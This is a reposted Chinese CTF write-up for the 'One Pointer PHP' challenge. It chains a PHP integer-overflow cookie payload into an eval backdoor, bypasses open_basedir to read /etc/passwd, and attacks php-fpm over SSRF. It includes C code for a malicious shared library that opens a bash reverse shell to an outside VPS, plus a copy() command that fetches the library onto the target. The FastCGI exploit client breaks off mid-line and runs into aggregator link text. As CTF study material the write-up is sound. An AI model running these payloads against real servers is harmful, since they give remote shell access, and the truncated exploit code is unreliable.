[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc相关的知识,希望对你有一定的参考价值。

WP:https://mp.weixin.qq.com/s/RytU2DZEjsuODeHy3JvBcg

二、学到的&&不足:

三、学习WP:

给了源码,两个php文件:

user.php:

<?php
class User{
 public $count;
}
?>

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
 $count[++$user->count]=1;    // 数组$count的第几个属性赋值为1
 if($count[]=1){
  $user->count+=1;
  setcookie("data",serialize($user));
 }else{
  eval($_GET["backdoor"]);
 }
}else{
 $user=new User;
 $user->count=1;
 setcookie("data",serialize($user));
}
// $_COOKIE["data"]的默认值是 O:4:"User":1:{s:5:"count";i:1;}
?>

是个后门文件,只要能绕过第5行的 $count[]=1即可进入到后面的 eval 代码执行处。但是这里是一个赋值语句(一个等号),并且赋的值是1,所以按理说不管怎样返回的都是 True:

在这里插入图片描述

也就没法进入到 else 语句中的代码执行阶段了,那我们便要想办法绕过这里。

1.PHP数组溢出

在 PHP 中,整型数是有一个范围的,对于32位的操作系统,最大的整型是2147483647,即2的31次方,最小为-2的31次方。如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述payload:

O:4:"User":1:{s:5:"count";i:9223372036854775806;}

在这里插入图片描述

看phpinfo();这两个都贼多,并且还有open_basedir/var/www/html

在这里插入图片描述

2.绕过 open_basedir.。

在这里插入图片描述

设置了 open_basedir,只能访问 Web 目录,但我们可以利用chdir()与ini_set()组合来绕过 open_basedir:

<?php
mkdir('Von');  //创建一个目录Von
chdir('Von');  //切换到Von目录下
ini_set('open_basedir','..');  //把open_basedir切换到上层目录
chdir('..');  //以下这三步是把目录切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/');  //设置open_basedir为根目录(此时相当于没有设置open_basedir)
echo file_get_contents('/etc/passwd');  //读取/etc/passwda
mkdir('Von');chdir('Von');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo%20file_get_contents('/etc/passwd');

2.1 在有disable_function情况下用其他的函数读取问题:

?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))

在这里插入图片描述

是成功的。然后看一看 根目录什么的。

在这里插入图片描述

2.1.1 疑问:,,,不好使,还是用 常规思路把。

这里其实,我想用assert执行shell。但是连最基本的操作都没用,,,不好使,,,吐了。不知道为什么。

哦哦,试了一下,好像不能eval,然后assert,assert和eval类似,直接assert就行,

然后我另起一句话来操作,,win10上的shell好使,但是 Linux上的就不行。。

在这里插入图片描述

在根目录里发现了 flag。

尝试使用 file_get_contents() 等函数读取均失败,猜测是出题人对flag的权限做了限制。那我们就要想办法提权了,但是要提权则必须先拿到shell执行命令,也就是得要先绕过disable_functions。

那么接着搜集信息,看看其他的文件

show_source('/proc/self/cmdline');

2.1.2 show_source('/proc/self/cmdline');获取当前启动进程的完成命令

在这里插入图片描述

这里看到了php-fpm

2.1.3 print_r(scandir('/proc/self/cwd'));获取目标当前进程的运行目录与目录里的文件:

在这里插入图片描述

2.1.4 show_source('/proc/self/exe');获得当前进程的可执行文件的完整路径:-

这个不知道为什么这么多乱码,,

2.1.5 show_source('/proc/self/environ');获取当前环境变量

这个是空的,,

在这里插入图片描述

3. 学习大佬思路:

题目的PHP环境还设置了以下两个限制:

  • disable_functions:

在这里插入图片描述过滤了各种命令执行函数,但是像 scandir、file_get_contents、file_put_contents 等目录和文件操作函数没有被过滤.

  • open_basedir, 只能访问 Web 目录,但我们可以利用chdir()与ini_set()组合来绕过 open_basedir:

在这里插入图片描述

?backdoor=mkdir('Von');chdir('Von');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

在根目录里发现了 flag。

尝试使用 file_get_contents() 等函数读取均失败,猜测是出题人对flag的权限做了限制。那我们就要想办法提权了,但是要提权则必须先拿到shell执行命令,也就是得要先绕过disable_functions。

这里尝试了很多方法绕过disable_functions均失败,当我读取 /proc/self/cmdline 时发现当前进程是 php-fpm:

所以说这道题应该就是通过攻击 php-fpm 来绕过 disable_functions 了。!!!!

首先查看nginx配置文件:

show_source('/etc/nginx/nginx.conf');
show_source('/etc/nginx/sites-available/default');
show_source('/etc/php/7.4/fpm/pool.d/www.conf ')  # 这个没读取到,然后尝试一级一级ls目录也没找到,

在这里插入图片描述
发现 PHP-FPM 绑定在了本地 9001 端口上。

这里的SSRF,不是直接有的那些SSRF漏洞,像curl,那些,

好了,既然我们可以通过 eval() 执行任意代码,那我们便可以构造恶意代码进行SSRF , 利用SSRF攻击本地的 PHP-FPM , 我们可以通过在 vps 上搭建恶意的 ftp ,骗取主机将 payload 转发到自己的 9001 端口上 , 从而实现攻击 PHP-FPM 并执行命令,

原理就是那个 file_get_contetns() , file_put_contents() ,这两个的组合

首先使用以下c文件 hpdoger.c 编译一个恶意的 .so 扩展,这里直接用网上亘古不变的写法:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}

通过 shared 命令编译:

gcc hpdoger.c -fPIC -shared -o hpdoger.so

在这里插入图片描述
然后将生成的 hpdoger.so 上传到目标主机(我这里上传到 /tmp 目录,可以使用 copy('http://vps/hpdoger.so' , '/tmp/hpdoger.so') ).

然后简单修改以下脚本(根据 fcgi_jailbreak.php 改的)并执行,生成 payload:

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord(以上是关于[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc的主要内容,如果未能解决你的问题,请参考以下文章

[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc

----已搬运----[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc

2021蓝帽杯半决赛pwn部分wp

第五届蓝帽杯初赛 misc 赛后复现

About 8.7 This Week

About 8.7 This Week